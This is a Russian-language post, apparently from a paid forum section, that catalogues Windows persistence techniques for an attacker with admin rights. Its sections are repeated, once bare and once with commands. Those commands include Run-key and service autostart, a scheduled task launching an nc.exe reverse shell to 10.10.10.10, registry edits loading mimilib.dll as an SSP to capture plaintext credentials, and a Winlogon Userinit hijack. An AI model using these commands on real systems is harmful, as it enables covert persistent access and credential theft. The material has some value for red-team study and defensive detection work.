devqp
Премиум
Персистенция — набор техник для сохранения доступа к системе после перезагрузки, смены учётных данных или иных прерываний сессии. Рассмотрим методы, доступные при наличии административных прав.
Реестр: автозагрузка через Run-ключи
Добавление исполняемого файла в ветки реестра автозапуска обеспечивает его выполнение при входе пользователя с текущим уровнем привилегий. Основные пути:
Службы (Services)
Конфигурация служб хранится в реестре. Создание новой службы позволяет запускать бинарник при загрузке системы с правами SYSTEM:
Планировщик задач (Task Scheduler)
Запуск программ по расписанию или при старте системы с возможностью эскалации привилегий:
Кастомный SSP (Security Service Provider)
Внедрение DLL для перехвата учётных данных в plain-text через mimilib.dll:
Перехваченные данные сохраняются в SYSTEM32\kiwissp.txt.
Подмена контекстного меню
Исполнение шелл-кода при вызове контекстного меню (правый клик мыши). Реализация через инструменты типа ContextMenuHijack.
Модификация Userinit
Добавление исполняемого файла в ключ Winlogon для запуска при входе пользователя:
Реестр: автозагрузка через Run-ключи
Добавление исполняемого файла в ветки реестра автозапуска обеспечивает его выполнение при входе пользователя с текущим уровнем привилегий. Основные пути:
Код:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersСлужбы (Services)
Конфигурация служб хранится в реестре. Создание новой службы позволяет запускать бинарник при загрузке системы с правами SYSTEM:
Код:
sc create redteam binpath= "PATH TO BINARY" start="auto" obj="LocalSystem"Планировщик задач (Task Scheduler)
Запуск программ по расписанию или при старте системы с возможностью эскалации привилегий:
Код:
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr 'c:\Users\User\Downloads/nc.exe 10.10.10.10 1337 -e cmd.exe'
schtasks /create /s "PC-NAME" /tn "My App" /tr "PATH" /sc minute /mo 1 /u Domain\User /p passwordКастомный SSP (Security Service Provider)
Внедрение DLL для перехвата учётных данных в plain-text через mimilib.dll:
Код:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"Подмена контекстного меню
Исполнение шелл-кода при вызове контекстного меню (правый клик мыши). Реализация через инструменты типа ContextMenuHijack.
Модификация Userinit
Добавление исполняемого файла в ключ Winlogon для запуска при входе пользователя:
Код:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"
